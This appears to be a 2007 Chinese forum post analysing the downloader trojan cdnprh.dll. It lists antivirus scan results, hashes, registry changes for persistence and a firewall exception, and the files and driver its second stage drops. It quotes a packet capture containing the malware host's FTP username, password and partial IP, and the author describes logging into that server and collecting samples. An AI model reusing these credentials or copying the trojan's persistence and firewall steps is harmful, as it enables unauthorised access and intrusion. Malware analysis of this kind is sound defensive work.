今天得到了那个猥琐的未知病毒(流氓)cdnprh.dll,于是测试了一下,像不到有大大的收获,端到一个大毒窝了!得到了20个卡巴未知样本!
=======================================================
cdnprh.dll样本信息:
Antivirus Version Update Result
AhnLab-V3 2007.6.12.2 06.13.2007 no virus found
AntiVir 7.4.0.32 06.13.2007 no virus found
Authentium 4.93.8 06.12.2007 Possibly a new variant of W32/Downloader-Sml-based!Maximus
Avast 4.7.997.0 06.13.2007 no virus found
AVG 7.5.0.467 06.13.2007 no virus found
BitDefender 7.2 06.13.2007 Generic.Malware.dld!!.B3FEFEC5
CAT-QuickHeal 9.00 06.13.2007 no virus found
ClamAV devel-20070416 06.13.2007 no virus found
DrWeb 4.33 06.13.2007 DLOADER.Trojan
eSafe 7.0.15.0 06.12.2007 no virus found
eTrust-Vet 30.7.3715 06.13.2007 no virus found
Ewido 4.0 06.13.2007 no virus found
FileAdvisor 1 06.13.2007 no virus found
Fortinet 2.85.0.0 06.13.2007 no virus found
F-Prot 4.3.2.48 06.12.2007 W32/Downloader-Sml-based!Maximus
F-Secure 6.70.13030.0 06.13.2007 no virus found
Ikarus T3.1.1.8 06.13.2007 no virus found
Kaspersky 4.0.2.24 06.13.2007 no virus found
McAfee 5051 06.12.2007 no virus found
Microsoft 1.2503 06.13.2007 no virus found
NOD32v2 2327 06.13.2007 no virus found
Norman 5.80.02 06.13.2007 no virus found
Panda 9.0.0.4 06.13.2007 Suspicious file
Prevx1 V2 06.13.2007 no virus found
Sophos 4.18.0 06.12.2007 no virus found
Sunbelt 2.2.907.0 06.09.2007 no virus found
Symantec 10 06.13.2007 no virus found
TheHacker 6.1.6.132 06.11.2007 no virus found
VBA32 3.12.0.1 06.12.2007 no virus found
VirusBuster 4.3.23:9 06.13.2007 no virus found
Webwasher-Gateway 6.0.1 06.13.2007 no virus found
Aditional Information
File size: 5632 bytes
MD5: 574a929ac0e76af7fd85f812fe5d6480
SHA1: 415fcd88cb9c01f647c39b7d5cd02353632689bf
=======================================================
运行"C:\WINDOWS\system32\Rundll32.exe" "C:\WINDOWS\system32\cdnprh.dll",Start激活病毒后:
注册表改动:
添加:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\hqghumeay Type: REG_SZ, Length: 148, Data: "C:\WINDOWS\system32\Rundll32.exe" "C:\WINDOWS\system32\cdnprh.dll",Start
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\"C:\WINDOWS\system32\Rundll32.exe" "C:\WINDOWS\system32\cdnprh.dll",Start Type: REG_SZ, Length: 204, Data: "C:\WINDOWS\system32\Rundll32.exe" "C:\WINDOWS\system32\cdnprh.dll",Start:*:Enabled:cdnprh.dll",Start
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\"C:\WINDOWS\system32\Rundll32.exe" "C:\WINDOWS\system32\cdnprh.dll",Start Type: REG_SZ, Length: 204, Data: "C:\WINDOWS\system32\Rundll32.exe" "C:\WINDOWS\system32\cdnprh.dll",Start:*:Enabled:cdnprh.dll",Start
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions" Type: REG_DWORD, Length: 4, Data: 0
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile Type: REG_DWORD, Length: 4, Data: 0
-------------------------------------------------------
网络动作:
从网上下载一个exe文件到C:\windows\temp\nlfdxfirc.exe并运行之;
=======================================================
nlfdxfirc.exe激活后:
文件改动:
创建:
%Temp%\tmp93.CAB
%Temp%\tmp94.CAB
C:\WINDOWS\system32\kuyths00.dll
C:\WINDOWS\system32\drivers\kuyths00.sys
删除:
%Temp%\tmp93.CAB
%Temp%\tmp94.CAB
-------------------------------------------------------
注册表改动:
添加:
HKLM\SYSTEM\ControlSet001\Services\kuyths00 Desired Access: Read/Write
HKLM\SYSTEM\ControlSet001\Services\kuyths00\Type Type: REG_DWORD, Length: 4, Data: 1
HKLM\SYSTEM\ControlSet001\Services\kuyths00\Start Type: REG_DWORD, Length: 4, Data: 3
HKLM\SYSTEM\ControlSet001\Services\kuyths00\ErrorControl Type: REG_DWORD, Length: 4, Data: 1
HKLM\SYSTEM\ControlSet001\Services\kuyths00\ImagePath Type: REG_EXPAND_SZ, Length: 90, Data: \??\C:\WINDOWS\system32\drivers\kuyths00.sys
HKLM\SYSTEM\ControlSet001\Services\kuyths00\DisplayName Type: REG_SZ, Length: 18, Data: kuyths00
HKLM\SYSTEM\ControlSet001\Services\kuyths00\Security Desired Access: Read/Write
HKLM\SYSTEM\ControlSet001\Services\kuyths00\Security\Security Type: REG_BINARY, Length: 168, Data: 01 00 14 80 90 00 00 00 9C 00 00 00 14 00 00 00
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_KUYTHS00 Desired Access: All Access
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_KUYTHS00\NextInstance Type: REG_DWORD, Length: 4, Data: 1
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_KUYTHS00\0000 Desired Access: All Access
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_KUYTHS00\0000\Control Desired Access: All Access
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_KUYTHS00\0000\Control\*NewlyCreated* Type: REG_DWORD, Length: 4, Data: 0
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_KUYTHS00\0000\Service Type: REG_SZ, Length: 18, Data: kuyths00
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_KUYTHS00\0000\Legacy Type: REG_DWORD, Length: 4, Data: 1
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_KUYTHS00\0000\ConfigFlags Type: REG_DWORD, Length: 4, Data: 0
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_KUYTHS00\0000\Class Type: REG_SZ, Length: 26, Data: LegacyDriver
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_KUYTHS00\0000\ClassGUID Type: REG_SZ, Length: 78, Data: {8ECC055D-047F-11D1-A537-0000F8753ED1}
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_KUYTHS00\0000\DeviceDesc Type: REG_SZ, Length: 18, Data: kuyths00
HKLM\SYSTEM\ControlSet001\Services\kuyths00\Enum Desired Access: All Access
HKLM\SYSTEM\ControlSet001\Services\kuyths00\Enum\0 Type: REG_SZ, Length: 52, Data: Root\LEGACY_KUYTHS00\0000
HKLM\SYSTEM\ControlSet001\Services\kuyths00\Enum\Count Type: REG_DWORD, Length: 4, Data: 1
HKLM\SYSTEM\ControlSet001\Services\kuyths00\Enum\NextInstance Type: REG_DWORD, Length: 4, Data: 1
-------------------------------------------------------
其他:
这时调用cdnprh.dll的rundll32.exe写入了一个注册表信息,也就是昨天的那个乱码情形了:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\neojdsacml Type: REG_SZ, Length: 148, Data: #D;]XJOEPXT]tztufn43]Svoemm43/fyf#!#D;]XJOEPXT]tztufn43]deoqsi/emm#-Tubsu
这个东西即使使用icesword查看也是乱码,估计加载时是靠那个驱动翻译为正常的信息;
=======================================================
追寻它下载的那个exe文件的地址:
在查看抓的数据包时,没有直接看到exe文件的地址,但发现了下面的几个数据包:
220 Welcome to blah FTP service.
USER netserv3
韝?箹
331 Please specify the password.
PASS 43243wen9874
230 Login successful.
TYPE I
200 Switching to Binary mode.
PASV
200 Switching to Binary mode.
PASV
PASV
227 Entering Passive Mode (60,18,146,34,150,163)
?
?
SIZE /plug/179.exe
SIZE /plug/179.exe
213 19776
RETR /plug/179.exe
150 Opening BINARY mode data connection for /plug/179.exe (19776 bytes).
一个FTP站点,而且需要账号和密码,根据数据包信息,打开小车的站点资源探测器,地址为
ftp://60.18.146.**/,登陆的用户为netserv3,口令为43243wen9874;
回车,成功登陆上去了!里面有不少文件,打开了plug目录,发现了20个大小相近的exe文件,全部下载下来一看,所有的CRC32校验码都是不同的!又打开了plugback目录,再次发现了20个大小几乎一样的exe文件!据测试是和plug目录里面的一样的;
另外还有一些其他文件,迟些在慢慢研究;
=======================================================
随便测试了几个,他们的动作和那个nlfdxfirc.exe如出一辙!用卡巴扫描了一下,一个也不报!看来是高手所为了!我想这个东西可能在未来几天内流行起来!希望各位有所警惕!